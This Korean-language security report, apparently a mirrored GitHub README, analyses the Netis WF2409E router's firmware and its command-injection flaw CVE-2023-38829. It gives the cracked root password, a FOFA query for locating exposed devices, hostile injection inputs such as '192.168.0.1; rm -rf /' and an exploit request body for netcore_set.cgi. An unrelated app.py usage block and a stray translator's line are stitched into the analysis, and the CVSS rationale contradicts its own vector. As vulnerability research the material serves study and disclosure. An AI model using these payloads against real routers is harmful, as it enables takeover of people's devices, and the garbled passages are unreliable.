Netis WF2409E 장치 보고서

1. 장치 개요

1.1 주요 사양 표

1.2 작동 점검 표

1.3 시스템 주요 구성 요소

2. 접점 조사

2.1 직렬 포트를 통한 장치 연결

3. 부팅 로그, 부트로더 및 OS 명령

3.1 부팅 로그 분석

프로세서 특성

플래시 메모리 특성

부트로더 정보

기본 네트워크 설정

시스템 소프트웨어 정보

서비스 상태

이 장치는 아마도 U-Boot를 사용하지 않는 것으로 보인다는 점이 중요합니다. 주요 특징:

1. 로그가 RealTek 부팅 정보로 직접 시작됩니다: ---RealTek(RTL8196E)at 2014.09.29-19:16+0800 v1.0 [16bit](https://github.com/victorique-123/cve-2023-38829-netis-wf2409e_report/blob/HEAD/380MHz)
2. U-Boot 부팅의 일반적인 징후가 없습니다:

• U-Boot 버전 정보 없음
• U-Boot 환경 변수 초기화 정보 없음
• U-Boot 명령줄 프롬프트 없음

3. RTL8196E는 RealTek의 보급형 라우터 칩이며, 이를 기반으로 하는 많은 장치는 U-Boot 대신 RealTek 자체 부트로더를 사용합니다.
4. 플래시 메모리 용량이 작다는 점(4MB)을 고려하면 경량 부트로더를 사용하는 것이 더 합리적입니다. 실제로 U-Boot로 진입할 방법을 찾지 못했습니다.

3.2 부트로더 분석

부트로더에 진입하려면 부팅 중 Esc 키를 길게 눌러야 합니다:

RealTek 부트로더 전체 명령 세트

메모리 읽기 예시:

Bootloader 명령:

<RealTek> FLR 80000000 0 100 #Чтение из Flash DB 80000000 100 #Просмотр содержимого памяти

3.3 셸 환경 분석

기본 셸 명령

시스템 디렉터리 상세 구조 (/bin — 주요 도구)

/proc 디렉터리 주요 정보

프로세스 목록:

3.4 주요 하드웨어 구성 요소 설명

4. 마운트 지점 정보 분석

4.1 파티션 마운트 정보 획득

4.2 시스템에는 세 가지 주요 마운트 지점이 정의되어 있습니다:

• /dev/mtdblock1이 루트 디렉터리 /로 마운트됨
• none이 프로세스 파일 시스템 /proc으로 마운트됨
• tmpfs가 임시 파일 시스템 /var로 마운트됨

상세 분석

4.2.1. 루트 파일 시스템

루트 파일 시스템은 다음과 같이 구성됩니다:

• 장치: /dev/mtdblock1
• 파일 시스템 유형: squashfs
• 마운트 옵션: 읽기 전용 (ro)
• 용도: 시스템 파일 및 프로그램 저장

이는 MTD 플래시 메모리를 저장 매체로 사용하며, 읽기 전용 및 squashfs 압축을 통해 시스템 파일이 보호되고 용량이 최적화되었음을 나타냅니다.

4.2.2 프로세스 파일 시스템

프로세스 파일 시스템은 다음과 같이 구성됩니다:

• 장치: none (가상 파일 시스템)
• 파일 시스템 유형: proc
• 마운트 옵션: 읽기-쓰기 (rw)
• 용도: 시스템 및 프로세스 정보 접근 인터페이스 제공

4.2.3 임시 파일 시스템

임시 파일 시스템은 다음과 같이 구성됩니다:

• 장치: tmpfs (메모리 내 파일 시스템)
• 마운트 지점: /var
• 크기 제한: 230KB
• 마운트 옵션: 읽기-쓰기 (rw)
• 용도: 작동 중 임시 파일 및 데이터 저장

4.2.4 시스템에 대부분의 명령이 없는 것으로 확인됨

5. 펌웨어 구조 및 형식

5.1 "netis.bin" 펌웨어 획득

5.2 엔트로피 분석 수행:

binwalk -E --save netis.bin

5.3 헤더 분석:

binwalk netis.bin

5.4 압축 해제를 위해 –reM 인수를 사용합니다. 그리고 얻은 결과:

5.5 분석 결과 표

오프셋	섹션 헤더
0x12F0
0x32818

6. 펌웨어 압축 해제 후 파일 시스템

6.1 압축 해제 후 파일 시스템:

6.2 주요 중요 파일

6.2.1 etc/passwd:

해시 복호화 서비스 https://hashes.com/en/decrypt/hash를 사용하여 root 비밀번호가 realtek으로 성공적으로 복구되었습니다.

6.2.2 web/welcome.htm:

기본 웹 인터페이스 페이지입니다

7. FOFA 마커, 핑거프린트, 통계

web/welcome.htm:의 특성을 통해 FOFA에서 장치 검색:

검색 명령: body="./images/logo_netis.png" && body="display:block; height:60px; float:left;"

장치 관리 패널에 접근하려면 로그인 및 비밀번호를 통한 인증이 필요할 수 있습니다

인증 성공 후 관리 패널에 로그인할 수 있습니다

8. 식별 스크립트

먼저 ~/squashfs-root/web$ find 명령으로 접근 가능한 디렉터리를 찾았고, Burpsuit를 사용하여 해당 디렉터리의 접근성을 확인했습니다:| | Payload | Code | | Lenth | | ------ | ------------------------------- | ------- | ----- | --------- | | 1 | /cgi-bin | 200 | | 167 | | 2 | /cgi-bin/cgitest.cgi | - | ERROR | - | | 3 | /script | 200 | | 168 | | 4 | /script/init.js | 200 | | 1282 | | 5 | /script/logic.js | 200 | | 65677 | | 6 | /script/menu.js | 200 | | 4976 | | 7 | /script/netcore.js | 200 | | 151935 | | 8 | /script/action.js | 200 | | 182624 | | 9 | /script/debug.js | 200 | | 28570 | | ==10== | ==/version.txt== | ==200== | | ==206== | | ==11== | ==/update.htm== | ==200== | | ==1230== | | 12 | /config | 200 | | 168 | | 13 | /config/language_es.js | 200 | | 79333 | | 14 | /config/language_it.js | 200 | | 76802 | | 15 | /config/language_id.js | 200 | | 74795 | | 16 | /config/language_du.js | 200 | | 78782 | | 17 | /config/language_ma.js | 200 | | 73594 | | 18 | /config/language_po.js | 200 | | 76458 | | 19 | /config/language_tu.js | 200 | | 77747 | | 20 | /config/language_fr.js | 200 | | 78165 | | 21 | /config/language_ro.js | 200 | | 73621 | | 22 | /config/language_cz.js | 200 | | 75968 | | 23 | /config/language_ua.js | 200 | | 98335 | | 24 | /config/language_us.js | 200 | | 84173 | | 25 | /config/config.js | 200 | | 75899 | | 26 | /config/language_ru.js | 200 | | 108998 | | 27 | /config/language_de.js | 200 | | 78674 | | 28 | /config/language_pt.js | 200 | | 77954 | | 29 | /config/language_cn.js | 200 | | 62001 | | 30 | /config/language_tc.js | 200 | | 74268 | | 31 | /system_log.txt | 404 | | 330 | | ==32== | ==/index.htm== | ==200== | | ==4336== | | 33 | /css | 200 | | 167 | | 34 | /css/style.css | 200 | | 5441 | | 35 | /css/netcore.css | 200 | | 11536 | | 36 | /css/welcome.css | 200 | | 6270 | | 37 | /Config.tgz | 404 | | 326 | | 38 | /images | 200 | | 168 | | 39 | /images/first.png | 200 | | 838 | | 40 | /images/icon_no.gif | 200 | | 240 | | 41 | /images/top_right_bg.gif | 200 | | 222 | | 42 | /images/logo_netis.png | 200 | | 7297 | | 43 | /images/icon_jian.gif | 200 | | 239 | | 44 | /images/show_pwd.png | 200 | | 1433 | | 45 | /images/icon_no1.gif | 200 | | 498 | | 46 | /images/nextt.png | 200 | | 1026 | | 47 | /images/lastt.png | 200 | | 845 | | 48 | /images/icon_intro_internet.gif | 200 | | 6994 | | 49 | /images/help_b1.gif | 200 | | 540 | | 50 | /images/high.gif | 200 | | 10846 | | 51 | /images/yandex_en.png | 200 | | 3519 | | 52 | /images/help_b1.jpg | 200 | | 620 | | 53 | /images/back.gif | 200 | | 379 | | 54 | /images/icon_intro_wireless.jpg | 200 | | 3838 | | 55 | /images/icon_jian1.gif | 200 | | 490 | | 56 | /images/left_021.jpg | 200 | | 558 | | 57 | /images/edit.gif | 200 | | 365 | | 58 | /images/pre.png | 200 | | 1029 | | 59 | /images/btn_mobile_setup.jpg | 200 | | 3053 | | 60 | /images/icon_now.gif | 200 | | 242 | | 61 | /images/top_right_bg.jpg | 200 | | 223 | | 62 | /images/bg_intro_bottom.png | 200 | | 3562 | | 63 | /images/favicon.ico | 200 | | 4458 | | 64 | /images/btn_quick_setup.jpg | 200 | | 4353 | | 65 | /images/bg_intro_top.png | 200 | | 3605 | | 66 | /images/mt-link.gif | 200 | | 5823 | | 67 | /images/link.gif | 200 | | 1045 | | 68 | /images/del.gif | 200 | | 313 | | ==69== | ==/images/Makefile== | ==200== | | ==593== | | 70 | /images/icon_jia1.gif | 200 | | 490 | | 71 | /images/blue.jpg | 200 | | 2584 | | 72 | /images/normal.gif | 200 | | 10818 | | 73 | /images/yandex.png | 200 | | 2159 | | 74 | /images/bg_leftmenu.gif | 200 | | 686 | | 75 | /images/icon_jia.gif | 200 | | 252 | | 76 | /images/icon_now1.gif | 200 | | 487 | | ==77== | ==/welcome.htm== | ==200== | | ==30155== | | ==78== | ==/index.html== | ==200== | | ==326== | | 79 | /help | 200 | | 166 | | ==80== | ==/backup.htm== | ==200== | | ==1304== |

잠재적 정보 위치:

확인 결과, ==/version.txt== 파일에서 다음 정보를 찾을 수 있습니다:

• 펌웨어 버전(firmware version)
• 빌드 날짜(build date)
• Boa 서버 정보(응답 HTTP 헤더의 Server 필드에서 가져옴)

이 정보의 추출은 Python 스크립트를 통해 구현되었습니다:

9. CVSS 취약점 목록

9.1 취약점 목록

현재 이 장치에서는 다음과 같은 취약점이 발견되었습니다. 그중 CVE-2023-38829은 NETIS SYSTEMS Router WF2409E 라우터의 네트워크 테스트 모듈에 존재하는 명령 삽입 취약점으로, ping 및 traceroute 기능에서 발생합니다. 웹 관리 인터페이스를 통해 이러한 기능의 매개변수에 악성 명령을 삽입하면 명령이 실행될 수 있습니다.

9.2 취약점 확인

이 취약점의 존재를 확인하기 위해 라우터 관리 패널에 로그인하여 ping 및 traceroute 기능에서 취약점을 테스트했습니다. 여기서 cd && ls && cd etc/ && cat passwd 명령을 삽입하여 암호 파일의 내용을 출력했습니다.

아래는 명령 삽입 시 라우터 관리 패널의 출력으로, 취약점의 존재를 확인합니다.

9.3 CVSS 취약점 평가

발견된 명령 삽입 취약점에 대한 CVSS 3.1 분석:

1. 기본 지표 평가:

   • 공격 벡터(AV): 네트워크(N). 원격 악용이 가능하므로
   • 공격 복잡도(AC): 낮음(L). HTTP 요청 전송만 필요하므로
   • 필요 권한(PR): 낮음(L). 기본 사용자 권한이 필요함(장치 관리 인터페이스에서의 인증)
   • 사용자 상호작용(UI): 없음(N). 사용자 조치가 필요하지 않음
   • 영향 범위(S): 변경됨(C). 라우터에 연결된 다른 장치에 영향을 미칠 수 있음

2. 영향 지표:

   • 기밀성 영향(C): 높음(H). 시스템에 대한 전체 액세스 권한 획득 가능
   • 무결성 영향(I): 높음(H). 모든 시스템 파일 변경 가능
   • 가용성 영향(A): 높음(H). 장치 작동에 영향을 줄 수 있음

3. 시간적 평가 지표:
   • 익스플로잇 성숙도(E): 기능적 익스플로잇 존재(F)
   • 패치 수준(RL): 공식 패치(O)
   • 보고 신뢰도(RC): 확인됨(C)

최종 평가: 9.2/10점이며 '치명적' 범주에 속합니다. CVSS-Vector: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C

이처럼 높은 취약점 점수는 다음과 같은 이유로 인한 것입니다:

• 특별한 조건 없이 원격 악용 가능
• 인증 없이 root 권한 획득 가능
• 시스템 보안에 대한 완전한 영향
• 취약점 악용의 용이성

10. 약한 취약점 분석 (BO 또는 CI)

먼저 취약점이 있을 수 있는 파일을 찾아보겠습니다: find . -name "*.cgi" ./web/cgi-bin/cgitest.cgi ./bin/cgitest.cgi

취약점이 CGI 프로그램에서 발생할 수 있다고 가정하여, 먼저 IDA Pro로 ./web/cgi-bin/cgitest.cgi 파일을 분석해 보겠습니다.

먼저 유사한 함수의 호출 위치를 찾아야 합니다. 검색을 통해 "killall ping" 문자열을 찾을 수 있었습니다. 호출 위치를 분석해 보면 프로그램이 ping 및 traceroute 함수를 초기화한 후 /bin/network_test.sh를 호출하는 것을 확인할 수 있습니다.

취약점이 존재하는 위치는 바로 네트워크 테스트 모듈입니다. 그럼 /bin/network_test.sh를 분석해야 합니다.

network_test.sh 분석

먼저 검색을 수행해야 합니다.

network_test_sh 함수를 찾습니다: ......

함수를 자세히 분석하면 명령 실행 및 결과 저장 모듈을 확인할 수 있습니다.

내용은 다음과 같습니다: ping 명령 실행: ping -c %d -s %d %s -W %d > %s &

• ping 매개변수:
  • -c: ping 횟수
  • -s: 데이터 패킷 크기(8바이트 제외)
  • -W: 대기 시간
  • 구성에서 가져온 대상 IP 주소

traceroute 명령 실행: traceroute -I -m %d %s > %s &

• traceroute 매개변수:
  • -I: ICMP 프로토콜 사용
  • -m: 최대 홉 수
  • 구성에서 가져온 대상 IP 주소

취약점 상세 분석```

Ситуация с командой ping

loc_4205B8: lw v0, 0x108+var_D4(sp) #прямая загрузка параметров lw a3, 0x108+var_D8(sp) la t9, sprintf #прямой вызов sprintf #отсутствует проверка параметров перед sprintf

**사용 가능한 매개변수:**

| 매개변수 | 설명 |
|---|---|
| `-p`, `--port` | 웹 인터페이스가 실행될 포트 (기본값: `8080`) |
| `-H`, `--host` | 웹 인터페이스가 실행될 IP 주소 (기본값: `0.0.0.0`) |
| `-m`, `--mode` | 애플리케이션 작동 모드. 가능한 값: `api`, `web`, `proxy` (기본값: `web`) |
| `-c`, `--config` | 구성 파일 경로 (기본값: `config.yaml`) |
| `-v`, `--verbose` | 상세 로깅 활성화 |

**사용 예시:**

```bash
# Запуск веб-интерфейса на порту 9090
python app.py --port 9090

# Запуск в режиме API с пользовательской конфигурацией
python app.py --mode api --config /etc/myapp/config.yaml

중요: 애플리케이션이 올바르게 작동하려면 다음을 확인하세요:

1. requirements.txt의 모든 종속성이 설치되었는지
2. 구성 파일이 존재하고 올바른 YAML 구조를 가지고 있는지
3. 구성에 지정된 포트가 다른 프로세스에 의해 점유되지 않았는지

참고: Docker를 사용하는 경우, 이미지는 ghcr.io/username/repository:latest에서 자동으로 로드됩니다```

Ситуация с командой traceroute

loc_420574: la $t9, sprintf #также прямой вызов sprintf lw $a2, 0x108+var_D0($sp) #также отсутствует проверка параметров

입력된 원문이 없어 번역할 내용이 없습니다.```
# После построения команды происходит прямое выполнение
la $t9, run_by_system
jalr $t9 ; run_by_system #прямой вызов system для выполнения команды
move $a0, $s1 #отсутствуют проверки безопасности

코드에 입력 매개변수에 대한 충분한 검증이 없어 잠재적인 명령 주입 위험이 발생합니다. 공격자는 전달되는 IP 매개변수를 조작하여 shell 명령을 실행할 수 있습니다. 예를 들어:```

Нормальный ввод 192.168.0.1

Примеры вредоносного ввода

192.168.0.1; rm -rf / #удаление файлов 192.168.0.1 & id & #выполнение произвольных команд

## 11. 익스플로잇 스크립트

### 11.1. 스크립트 개요

이 스크립트는 특수 HTTP 요청을 생성하여 장치의 웹 인터페이스에 있는 명령 주입 취약점을 이용해 원격으로 명령을 실행합니다. 스크립트는 두 개의 HTTP POST 요청을 통해 취약점을 악용합니다. 첫 번째 요청은 명령을 주입하고, 두 번째 요청은 실행 결과를 가져옵니다.

첫 번째 패킷(netcore_set.cgi)의 용도: 명령 주입 및 실행
![](https://assets.kitploit.com/production/public/readmes/21494/3db1e4bb1625a72b26cf65e34b5458e7cc2d72407c5a30e5f9b50e8e6f56fde0.png)

두 번째 패킷(netcore_get.cgi)의 용도: 명령 실행 결과 가져오기
![](https://assets.kitploit.com/production/public/readmes/21494/081d07560f28c436263826ed835451190be48c57c9f45ceb55b690cc7c687c66.png)

### 11.2 첫 번째 단계: 명령 주입

1. 다음 핵심 매개변수로 POST 요청 본문을 구성합니다:```
{ "mode_name": "netcore_set", 
	 "tools_type": "2", 
	 "tools_ip_url": f"| {command}", # точка инъекции команды 
	 "tools_cmd": "1", 
	 "net_tools_set": "1" }

2. 모든 매개변수의 URL 인코딩
3. netcore_set.cgi로 POST 요청 보내기

11.3 2단계: 결과 얻기

1. 두 번째 POST 요청 생성:``` { "mode_name": "netcore_get",
   "noneed": "noneed" }

2. netcore_get.cgi에 요청 보내기
3. 명령 실행 결과를 얻기 위해 응답에서 tools_results 필드 파싱


### 11.4 스크립트 테스트

스크립트를 테스트하기 위해 호스트에 `ceshi` 파일을 만들고 스크립트를 통해 장치에 업로드를 시도했습니다

![](https://assets.kitploit.com/production/public/readmes/21494/5197cbc5dc13aa8a1533cd2daed4beaf518db96f195a0764469b807253893e98.png)![](https://assets.kitploit.com/production/public/readmes/21494/9ecf4ce6fefcee7cd5954fe2e0b468d0e1e8b88dd5f0d87397931e44d0089b55.png)![](https://assets.kitploit.com/production/public/readmes/21494/6ca6ac3de6b522974f773445633333d9b7eaeecef9099bbea45f7d7fe496591d.png)

성공!

사실 이 취약점은 장치가 기본적으로 root 액세스를 사용하기 때문에 장치에 대한 완전한 제어를 얻을 수 있게 해줍니다